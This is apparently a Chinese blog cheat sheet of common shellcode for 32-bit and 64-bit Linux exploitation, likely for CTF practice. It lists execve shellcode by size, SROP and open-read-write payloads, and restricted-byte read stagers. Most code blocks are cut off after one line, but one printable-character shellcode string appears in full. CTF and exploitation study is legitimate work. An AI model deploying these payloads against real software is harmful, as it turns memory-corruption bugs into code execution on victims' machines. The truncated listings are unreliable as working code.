常用shellcode总结
32位
有”\x00”最短 20 byte
1 | xor ecx,ecx |
无”\x00”最短 21 byte
1 | xor ecx,ecx |
标准shellcode 23 byte
1 | xor ecx,ecx |
64位
最短有”\x00” 22 byte
1 | xor rsi,rsi |
最短无”\x00” 23 byte
1 | xor rsi,rsi |
标准shellcode 31 byte
1 | xor rdi,rdi |
可见字符
1 | Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2 H0u0P160Z0g7 Z0C100y5G020B2n060N4q0n2t0B0001010H3S2y0Y0n0z01340d2F4y8P115l1n0J0h0a070t |
SROP
1 | shell1 = ''' |
ORW
1 | shell2 = ''' |
\x2f-\x40 read
需要从base_addr+3开始写入
1 | base_addr = 0x33333000 |
\x2f-\x40 readv
1 | base_addr = 0x33333000 |